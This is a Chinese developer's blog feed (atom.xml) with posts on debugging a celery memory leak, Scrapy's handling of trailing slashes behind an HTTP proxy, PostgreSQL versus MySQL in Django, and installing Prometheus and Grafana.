/
atom.xml
706 lines (471 loc) · 262 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>xixijun's blog</title>
<link href="/atom.xml" rel="self"/>
<link href="https://morningchen.com/"/>
<updated>2019-12-12T07:55:23.719Z</updated>
<id>https://morningchen.com/</id>
<author>
<name>xixijun</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>记一次 celery 中的内存泄露问题</title>
<link href="https://morningchen.com/2019/12/12/celery-memory-leak/"/>
<id>https://morningchen.com/2019/12/12/celery-memory-leak/</id>
<published>2019-12-12T03:18:01.000Z</published>
<updated>2019-12-12T07:55:23.719Z</updated>
<content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>记录下内存泄露的产生原因，以及如何解决的。</p><h2 id="发现内存泄露"><a href="#发现内存泄露" class="headerlink" title="发现内存泄露"></a>发现内存泄露</h2><ol><li>监控告警系统(Prometheus + Grafana)检测到某台服务器的内存大于80%，给我推送了微信告警信息。</li></ol><p><img src="memory-leak.png" alt=""></p><ol start="2"><li>于是我登上服务器去看了下进程占用情况，发现celery worker内存占用很高。猜想大概是和celery有关</li></ol><p><img src="htop.png" alt=""></p><h2 id="产生内存泄露的几种原因假设"><a href="#产生内存泄露的几种原因假设" class="headerlink" title="产生内存泄露的几种原因假设"></a>产生内存泄露的几种原因假设</h2><ol><li>celery 本身内存泄露</li><li>celery worker 代码不规范导致的内存泄露</li><li>引入的第三方包有内存泄露</li></ol><h2 id="解决办法"><a href="#解决办法" class="headerlink" title="解决办法"></a>解决办法</h2><p>针对第一个问题 去Google了一下，还真是一个普遍性的问题呢！看看这个 <a href="https://github.com/celery/celery/issues/4843" target="_blank" rel="noopener">issue</a>，好巧我用的就是celery==4.2.1。于是升级了celery版本，过了半天开始看监控，发现内存泄露的速率只是减缓了，并没有完全解决，现在大概是按照每天1GB的速率泄露。</p><p>既然这样那可能是代码的写法问题了。代码大概如下：</p><a id="more"></a><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.task(queue=QUEUE.gather)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">info_gather</span><span class="params">(**kwargs)</span>:</span></span><br><span class="line"> url = kwargs[<span class="string">'url'</span>]</span><br><span class="line"> session = requests.session()</span><br><span class="line"> session.max_redirects = <span class="number">3</span></span><br><span class="line"> session.headers.update({</span><br><span class="line"> <span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12; rv:33.0) Gecko/20100101 Firefox/33.0'</span></span><br><span class="line"> })</span><br><span class="line"> session.proxies = constants.PROXIES_1</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> resp = session.get(url, verify=<span class="keyword">False</span>)</span><br><span class="line"> ...</span><br><span class="line"> ret[<span class="string">'meta_description'</span>] = get_meta_description2(text)</span><br><span class="line"> ...</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> ...</span><br><span class="line"></span><br><span class="line"> <span class="keyword">finally</span>:</span><br><span class="line"> session.close()</span><br></pre></td></tr></table></figure><p>使用 <a href="https://pypi.org/project/memory-profiler/" target="_blank" rel="noopener">memory-profiler</a> 这个工具进行debug后，发现内存泄露的地方有2点，</p><ol><li><code>resp = session.get(url, verify=False)</code></li><li><code>ret['meta_description'] = get_meta_description2(text)</code></li></ol><p>难道是requests这个包的锅？网上搜了下，发现还真的是这个问题。。。并且至今也没有解决，(<a href="https://github.com/psf/requests/issues/4601)，看了下源码大概是底层" target="_blank" rel="noopener">https://github.com/psf/requests/issues/4601)，看了下源码大概是底层</a> socket 的问题。</p><p>第二个问题 <code>get_meta_description</code> 这个函数中用到了 lxml 这个包，也有内存泄露的问题。这可真让人头秃。。。<br>于是修改了实现方式，改用正则匹配。</p><p>代码中大量地方都引入了 <code>requests</code> 这个包，换它是不可能换的，最终解决办法是设置 celery 的配置参数 <code>app.conf.worker_max_tasks_per_child = 40</code> <a href="https://docs.celeryproject.org/en/latest/userguide/workers.html#max-tasks-per-child-setting" target="_blank" rel="noopener">https://docs.celeryproject.org/en/latest/userguide/workers.html#max-tasks-per-child-setting</a></p><p>这个表示每个worker的进程 在执行 40 次任务后，主动销毁，之后会起一个新的。主要解决一些资源释放的问题。可以有效的避免内存泄露。只针对 prefork 有效。</p><h2 id="深入研究"><a href="#深入研究" class="headerlink" title="深入研究"></a>深入研究</h2><p>重启进程不是根本的解决办法啊。想看看有没有什么requests的替代品，那我们就来看看python中常规的网络请求库有没有内存泄露这个问题。</p><p>测试环境为 python 3.7.5，测试脚本如下<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> ssl</span><br><span class="line"><span class="keyword">import</span> urllib.request</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> certifi</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> urllib3</span><br><span class="line"><span class="keyword">from</span> memory_profiler <span class="keyword">import</span> profile</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@profile(precision=5)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test_requests</span><span class="params">(url)</span>:</span></span><br><span class="line"> resp = requests.get(url)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">context = ssl.create_default_context()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@profile(precision=5)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test_urllib</span><span class="params">(url)</span>:</span></span><br><span class="line"> <span class="keyword">with</span> urllib.request.urlopen(url, context=context) <span class="keyword">as</span> f:</span><br><span class="line"> resp = f.read().decode()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@profile(precision=5)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test_urllib3</span><span class="params">(url)</span>:</span></span><br><span class="line"> http = urllib3.PoolManager(</span><br><span class="line"> cert_reqs=<span class="string">'CERT_REQUIRED'</span>,</span><br><span class="line"> ca_certs=certifi.where())</span><br><span class="line"> r = http.request(<span class="string">'GET'</span>, url)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"> url = <span class="string">'https://httpbin.org/anything?i={}'</span></span><br><span class="line"> t = time()</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">100</span>):</span><br><span class="line"> <span class="comment"># if time() > t + 60:</span></span><br><span class="line"> <span class="comment"># break</span></span><br><span class="line"> test_urllib(url.format(i))</span><br><span class="line"> <span class="comment"># test_urllib3(url.format(i))</span></span><br><span class="line"> <span class="comment"># test_requests(url.format(i))</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="comment"># objgraph.show_growth()</span></span><br><span class="line"> main()</span><br><span class="line"> <span class="comment"># objgraph.show_growth()</span></span><br></pre></td></tr></table></figure></p><p>部分结果如下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Line # Mem usage Increment Line Contents</span><br><span class="line">================================================</span><br><span class="line"> 11 67.30469 MiB 67.30469 MiB @profile(precision=5)</span><br><span class="line"> 12 def test_requests(url):</span><br><span class="line"> 13 67.66016 MiB 0.35547 MiB resp = requests.get(url)</span><br></pre></td></tr></table></figure></p><p>测试了 http 和 https 两种URL，几乎所有的网络请求库都有内存泄露的问题。。。我佛了。应该socket底层出问题了吧。</p><table><thead><tr><th>package</th><th>version</th><th>http</th><th>https</th></tr></thead><tbody><tr><td>urllib</td><td>-</td><td>Y</td><td>Y</td></tr><tr><td>urllib3</td><td>1.25.7</td><td>- 偶尔发生</td><td>Y</td></tr><tr><td>requests</td><td>2.22.0</td><td>Y</td><td>Y</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol><li>批量+长时间的网络请求时，要对服务器的内存有点数。需要实现重启机制。</li><li>没理解python内存回收机制的话，不要写magic method <code>__del__</code>，很容易写出内存泄露的代码。</li></ol><h2 id="相关链接"><a href="#相关链接" class="headerlink" title="相关链接"></a>相关链接</h2><ul><li>urllib 内存泄露的讨论 <a href="https://bugs.python.org/issue38251" target="_blank" rel="noopener">https://bugs.python.org/issue38251</a></li><li>requests <a href="https://github.com/psf/requests/issues/4601" target="_blank" rel="noopener">https://github.com/psf/requests/issues/4601</a></li></ul>]]></content>
<summary type="html">
<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>记录下内存泄露的产生原因，以及如何解决的。</p>
<h2 id="发现内存泄露"><a href="#发现内存泄露" class="headerlink" title="发现内存泄露"></a>发现内存泄露</h2><ol>
<li>监控告警系统(Prometheus + Grafana)检测到某台服务器的内存大于80%，给我推送了微信告警信息。</li>
</ol>
<p><img src="memory-leak.png" alt=""></p>
<ol start="2">
<li>于是我登上服务器去看了下进程占用情况，发现celery worker内存占用很高。猜想大概是和celery有关</li>
</ol>
<p><img src="htop.png" alt=""></p>
<h2 id="产生内存泄露的几种原因假设"><a href="#产生内存泄露的几种原因假设" class="headerlink" title="产生内存泄露的几种原因假设"></a>产生内存泄露的几种原因假设</h2><ol>
<li>celery 本身内存泄露</li>
<li>celery worker 代码不规范导致的内存泄露</li>
<li>引入的第三方包有内存泄露</li>
</ol>
<h2 id="解决办法"><a href="#解决办法" class="headerlink" title="解决办法"></a>解决办法</h2><p>针对第一个问题 去Google了一下，还真是一个普遍性的问题呢！看看这个 <a href="https://github.com/celery/celery/issues/4843" target="_blank" rel="noopener">issue</a>，好巧我用的就是celery==4.2.1。于是升级了celery版本，过了半天开始看监控，发现内存泄露的速率只是减缓了，并没有完全解决，现在大概是按照每天1GB的速率泄露。</p>
<p>既然这样那可能是代码的写法问题了。代码大概如下：</p>
</summary>
<category term="Backend" scheme="https://morningchen.com/categories/Backend/"/>
<category term="Memory Leak" scheme="https://morningchen.com/categories/Backend/Memory-Leak/"/>
<category term="celery" scheme="https://morningchen.com/tags/celery/"/>
<category term="Python" scheme="https://morningchen.com/tags/Python/"/>
</entry>
<entry>
<title>该不该给URL的末尾加上斜杠？</title>
<link href="https://morningchen.com/2019/10/11/scrapy-url-slash/"/>
<id>https://morningchen.com/2019/10/11/scrapy-url-slash/</id>
<published>2019-10-11T11:19:31.000Z</published>
<updated>2019-10-11T13:57:19.507Z</updated>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>当我们需要把url存入数据库时，又或者编写探测或爬虫代码的时候，需要给url的末尾加上斜杠<code>/</code>吗？</p><p>这里只说不带路径的url，<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://example.com</span><br><span class="line">http://example.com/</span><br></pre></td></tr></table></figure></p><p>下面这种带路径的情况在这里不做讨论，因为这是另一个关于SEO的问题<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://example.com/path</span><br><span class="line">http://example.com/path/</span><br></pre></td></tr></table></figure></p><p>先说结论：需要！下面就来谈谈为什么需要以及遇到的坑。</p><a id="more"></a><h2 id="Scrapy-中遇到的坑"><a href="#Scrapy-中遇到的坑" class="headerlink" title="Scrapy 中遇到的坑"></a>Scrapy 中遇到的坑</h2><p>当不用代理时，url不加斜杠，即 <code>start_urls=['http://ceye.io']</code>，使用的<code>agent</code>是<code>twisted.web.client.Agent</code>，其中<code>request</code>函数实现如下<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">request</span><span class="params">(self, method, uri, headers=None, bodyProducer=None)</span>:</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Issue a request to the server indicated by the given C{uri}.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> An existing connection from the connection pool may be used or a new</span></span><br><span class="line"><span class="string"> one may be created.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> I{HTTP} and I{HTTPS} schemes are supported in C{uri}.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> @see: L{twisted.web.iweb.IAgent.request}</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> uri = _ensureValidURI(uri.strip())</span><br><span class="line"> parsedURI = URI.fromBytes(uri)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> endpoint = self._getEndpoint(parsedURI)</span><br><span class="line"> <span class="keyword">except</span> SchemeNotSupported:</span><br><span class="line"> <span class="keyword">return</span> defer.fail(Failure())</span><br><span class="line"> key = (parsedURI.scheme, parsedURI.host, parsedURI.port)</span><br><span class="line"> <span class="keyword">return</span> self._requestWithEndpoint(key, endpoint, method, parsedURI,</span><br><span class="line"> headers, bodyProducer,</span><br><span class="line"> parsedURI.originForm)</span><br></pre></td></tr></table></figure></p><p><img src="requestWithEndpoint1.png" alt=""></p><p>注意 <code>parsedURI.originForm</code> 这个值是<code>/</code>，response 返回正常状态码200</p><p>当使用http代理时，url不加斜杠，scrapy使用的<code>agent</code>是<code>scrapy.core.downloader.handlers.http11.ScrapyProxyAgent</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ScrapyProxyAgent</span><span class="params">(Agent)</span>:</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, reactor, proxyURI,</span></span></span><br><span class="line"><span class="function"><span class="params"> connectTimeout=None, bindAddress=None, pool=None)</span>:</span></span><br><span class="line"> super(ScrapyProxyAgent, self).__init__(reactor,</span><br><span class="line"> connectTimeout=connectTimeout,</span><br><span class="line"> bindAddress=bindAddress,</span><br><span class="line"> pool=pool)</span><br><span class="line"> self._proxyURI = URI.fromBytes(proxyURI)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">request</span><span class="params">(self, method, uri, headers=None, bodyProducer=None)</span>:</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Issue a new request via the configured proxy.</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="comment"># Cache *all* connections under the same key, since we are only</span></span><br><span class="line"> <span class="comment"># connecting to a single destination, the proxy:</span></span><br><span class="line"> <span class="keyword">if</span> twisted_version >= (<span class="number">15</span>, <span class="number">0</span>, <span class="number">0</span>):</span><br><span class="line"> proxyEndpoint = self._getEndpoint(self._proxyURI)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> proxyEndpoint = self._getEndpoint(self._proxyURI.scheme,</span><br><span class="line"> self._proxyURI.host,</span><br><span class="line"> self._proxyURI.port)</span><br><span class="line"> key = (<span class="string">"http-proxy"</span>, self._proxyURI.host, self._proxyURI.port)</span><br><span class="line"> <span class="keyword">return</span> self._requestWithEndpoint(key, proxyEndpoint, method,</span><br><span class="line"> URI.fromBytes(uri), headers,</span><br><span class="line"> bodyProducer, uri)</span><br></pre></td></tr></table></figure><p><img src="requestWithEndpoint2.png" alt=""></p><p>注意<code>_requestWithEndpoint</code>这个函数的最后一个参数值是 <code>uri</code>，后面不带斜杠，response 返回nginx 400 Bad Request。</p><p>那么问题来了！当我用 <code>curl</code> 和 <code>python requests</code> 使用http代理来发请求时，状态码却是200正常的。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -I -x http://127.0.0.1:14444 http://example.i2p</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">In [<span class="number">18</span>]: resp2=requests.get(url, headers=headers, proxies=constants.PROXIES) </span><br><span class="line">In [<span class="number">19</span>]: resp2 </span><br><span class="line">Out[<span class="number">19</span>]: <Response [<span class="number">200</span>]></span><br></pre></td></tr></table></figure><p>照理说scrapy也应该返回200呀。是什么造成它们之间的差异呢？答案就是斜杠<code>/</code></p><p>scrapy 在使用代理发送请求时，不会带上斜杠，raw request相当于<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET HTTP/1.1</span><br><span class="line">Host: ceye.io</span><br></pre></td></tr></table></figure></p><p>而正确的写法应该是<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET / HTTP/1.1</span><br><span class="line">Host: ceye.io</span><br></pre></td></tr></table></figure></p><p>错误的路径导致nginx解析失败，返回400 Bad Request</p><p><code>curl</code> 在发送时会做一层<code>Rebuilt URL</code>的处理，给url加上斜杠<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">➜ ~ curl -v -I -x http://127.0.0.1:14444 http://6y4tltjdgqwfdcz6tqwc7dxhhuradop2vejatisu64nwjzh5tuwa.b32.i2p</span><br><span class="line">* Rebuilt URL to: http://6y4tltjdgqwfdcz6tqwc7dxhhuradop2vejatisu64nwjzh5tuwa.b32.i2p/</span><br><span class="line">* Trying 127.0.0.1...</span><br><span class="line">* TCP_NODELAY <span class="built_in">set</span></span><br><span class="line">* Connected to 127.0.0.1 (127.0.0.1) port 14444 (<span class="comment">#0)</span></span><br><span class="line">> HEAD http://6y4tltjdgqwfdcz6tqwc7dxhhuradop2vejatisu64nwjzh5tuwa.b32.i2p/ HTTP/1.1</span><br><span class="line">> Host: 6y4tltjdgqwfdcz6tqwc7dxhhuradop2vejatisu64nwjzh5tuwa.b32.i2p</span><br><span class="line">> User-Agent: curl/7.54.0</span><br><span class="line">> Accept: */*</span><br></pre></td></tr></table></figure></p><p><code>python requests</code>包也会做一层兼容处理，加上斜杠<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">In [<span class="number">33</span>]: url </span><br><span class="line">Out[<span class="number">33</span>]: <span class="string">'http://6y4tltjdgqwfdcz6tqwc7dxhhuradop2vejatisu64nwjzh5tuwa.b32.i2p'</span></span><br><span class="line"></span><br><span class="line">In [<span class="number">34</span>]: resp2.url </span><br><span class="line">Out[<span class="number">34</span>]: <span class="string">'http://6y4tltjdgqwfdcz6tqwc7dxhhuradop2vejatisu64nwjzh5tuwa.b32.i2p/'</span></span><br></pre></td></tr></table></figure></p><p>因此用 curl 和 python request 的返回结果都是正常的。</p><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p>为防止不确定性，建议都加上斜杠</p>]]></content>
<summary type="html">
<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>当我们需要把url存入数据库时，又或者编写探测或爬虫代码的时候，需要给url的末尾加上斜杠<code>/</code>吗？</p>
<p>这里只说不带路径的url，<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://example.com</span><br><span class="line">http://example.com/</span><br></pre></td></tr></table></figure></p>
<p>下面这种带路径的情况在这里不做讨论，因为这是另一个关于SEO的问题<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://example.com/path</span><br><span class="line">http://example.com/path/</span><br></pre></td></tr></table></figure></p>
<p>先说结论：需要！下面就来谈谈为什么需要以及遇到的坑。</p>
</summary>
<category term="Backend" scheme="https://morningchen.com/categories/Backend/"/>
<category term="Scrapy" scheme="https://morningchen.com/categories/Backend/Scrapy/"/>
<category term="Scrapy" scheme="https://morningchen.com/tags/Scrapy/"/>
</entry>
<entry>
<title>为什么使用 PostgreSQL 而不使用 MySQL</title>
<link href="https://morningchen.com/2019/06/24/why-postgresql-not-mysql/"/>
<id>https://morningchen.com/2019/06/24/why-postgresql-not-mysql/</id>
<published>2019-06-24T07:23:09.000Z</published>
<updated>2019-10-11T13:53:44.508Z</updated>
<content type="html"><![CDATA[<p>仅从 django 项目中遇到的问题来说明 postgres 比 mysql更优秀</p><ol><li>mysql 不支持子查询里嵌套子查询</li><li>mysql 使用<code>bulk_create</code>批量插入数据后 返回值没有id，很难执行关联表的批量操作</li><li>mysql 使用月份或日期搜索时没有结果 Incident.objects.filter(published__month=6, published__day=28) <a href="https://code.djangoproject.com/ticket/29384" target="_blank" rel="noopener">https://code.djangoproject.com/ticket/29384</a></li><li><code>django.db.utils.OperationalError: (1093, "You can't specify target table 'incidents_review' for update in FROM clause")</code><br><a href="https://blog.csdn.net/fdipzone/article/details/52695371" target="_blank" rel="noopener">https://blog.csdn.net/fdipzone/article/details/52695371</a></li></ol>]]></content>
<summary type="html">
<p>仅从 django 项目中遇到的问题来说明 postgres 比 mysql更优秀</p>
<ol>
<li>mysql 不支持子查询里嵌套子查询</li>
<li>mysql 使用<code>bulk_create</code>批量插入数据后 返回值没有id，很难执行关联
</summary>
<category term="Backend" scheme="https://morningchen.com/categories/Backend/"/>
<category term="DB" scheme="https://morningchen.com/categories/Backend/DB/"/>
<category term="PostgreSQL" scheme="https://morningchen.com/tags/PostgreSQL/"/>
<category term="MySQL" scheme="https://morningchen.com/tags/MySQL/"/>
</entry>
<entry>
<title>Prometheus and Grafana</title>
<link href="https://morningchen.com/2019/01/23/Prometheus-and-Grafana/"/>
<id>https://morningchen.com/2019/01/23/Prometheus-and-Grafana/</id>
<published>2019-01-23T13:15:53.000Z</published>
<updated>2019-10-11T13:47:37.643Z</updated>
<content type="html"><![CDATA[<h1 id="服务监控工具"><a href="#服务监控工具" class="headerlink" title="服务监控工具"></a>服务监控工具</h1><p>基于 Prometheus + Grafana 搭建的监控平台</p><p><a href="https://github.com/prometheus/prometheus" target="_blank" rel="noopener">Prometheus</a> 是一种可以使用拉动机制监控微服务和应用程序指标的工具。它支持Prom Query语言，用于搜索指标和创建自定义指标。</p><p><a href="https://github.com/grafana/grafana" target="_blank" rel="noopener">Grafana</a> 是一个用于分析和检测的开放平台</p><p><a href="https://github.com/prometheus/blackbox_exporter" target="_blank" rel="noopener">blackbox_exporter</a> 是 Prometheus 官方提供的 exporter 之一，黑盒测试工具，支持 HTTP, HTTPS, DNS, TCP, ICMP的监控数据采集</p><p><a href="">node_exporter</a> 是官方提供的 exporter 之一，用于收集主机资源负载信息，如CPU 内存 磁盘 网络等信息。</p><h2 id="安装-Grafana"><a href="#安装-Grafana" class="headerlink" title="安装 Grafana"></a>安装 Grafana</h2><p>详细安装过程见<a href="http://docs.grafana.org/installation/debian/" target="_blank" rel="noopener">官方文档</a><code>http://docs.grafana.org/installation/debian/</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">wget https://dl.grafana.com/oss/release/grafana_5.4.2_amd64.deb</span><br><span class="line">sudo apt-get install -y adduser libfontconfig</span><br><span class="line">sudo dpkg -i grafana_5.4.2_amd64.deb</span><br><span class="line"></span><br><span class="line">sudo service grafana-server start</span><br></pre></td></tr></table></figure><h2 id="安装-Grafana-插件"><a href="#安装-Grafana-插件" class="headerlink" title="安装 Grafana 插件"></a>安装 Grafana 插件</h2><p>官网选择想要的<a href="https://grafana.com/plugins" target="_blank" rel="noopener">插件</a>，这里推荐安装几个常用的插件<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span 